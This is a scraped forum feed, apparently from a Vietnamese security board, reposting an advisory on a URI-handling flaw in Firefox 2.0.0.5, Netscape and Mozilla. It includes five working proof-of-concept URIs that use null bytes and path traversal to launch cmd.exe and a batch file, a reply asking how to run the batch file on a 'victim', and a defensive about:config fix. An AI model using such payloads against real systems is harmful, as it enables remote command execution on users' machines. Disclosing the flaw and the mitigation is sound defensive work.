<![CDATA[Latest posts for the topic "Remote Command Exec (FireFox 2.0.0.5 et al)"]]> /hvaonline/posts/list/13.html JForum - http://www.jforum.net Remote Command Exec (FireFox 2.0.0.5 et al) Tested in FireFox 2.0.0.5 (and 3.0a6), Netscape Navigator 9, and Mozilla browser. ****NOTE**** These examples were created for WinXP SP2 with no external mail programs installed (outlook, notes…etc). If you have an external mail program installed, these examples may not work on your machine (as the URI handling may have changed). Once again, a flaw in the URI handling behavior allows for remote command execution. UNREGISTER ALL UNNECESSARY URIs NOW! This example shows flaws in Firefox, Netscape, and Mozilla browsers… other browsers are affected by related vulnerabilities. Developers who intend to (or have already) registered URIs for their applications MUST UNDERSTAND that registering a URI handler exponentially increases the attack surface for that application. Please review your registered URI handling mechanisms and audit the functionality called by those URIs… These can be launched with no user warning (simply click on the link): Code:
mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat

nntp:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat

news:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat

snews:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat

telnet:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat
]]> /hvaonline/posts/list/12737.html#74809 /hvaonline/posts/list/12737.html#74809 GMT Remote Command Exec (FireFox 2.0.0.5 et al) /hvaonline/posts/list/12737.html#74939 /hvaonline/posts/list/12737.html#74939 GMT Remote Command Exec (FireFox 2.0.0.5 et al) These examples were created for WinXP SP2 with no external mail programs installed (outlook, notes…etc). If you have an external mail program installed, these examples may not work on your machine (as the URI handling may have changed).   có fải ý nó nói là cái này ko hoạt động trên winSP2 có cài outlook,note pad ko nhỉ? ^^. Sẵn cho em hỏi làm sao mình có thể chạy được file blah.bat đó trên máy victim được nhỉ?Nếu biết được cách thì nó nguy hiểm thiệt ^^]]> /hvaonline/posts/list/12737.html#74944 /hvaonline/posts/list/12737.html#74944 GMT Re: Remote Command Exec (FireFox 2.0.0.5 et al) about:config trên thanh địa chỉ và tìm từ khóa warn-external rồi đổi hết giá trị thành true. Có 5 giá trị để xem và đổi: Code:
network.protocol-handler.warn-external-default
network.protocol-handler.warn-external.mailto
network.protocol-handler.warn-external.news
network.protocol-handler.warn-external.nntp
network.protocol-handler.warn-external.snews
]]> /hvaonline/posts/list/12737.html#75679 /hvaonline/posts/list/12737.html#75679 GMT Remote Command Exec (FireFox 2.0.0.5 et al) /hvaonline/posts/list/12737.html#76652 /hvaonline/posts/list/12737.html#76652 GMT Re: Remote Command Exec (FireFox 2.0.0.5 et al) /hvaonline/posts/list/12737.html#76697 /hvaonline/posts/list/12737.html#76697 GMT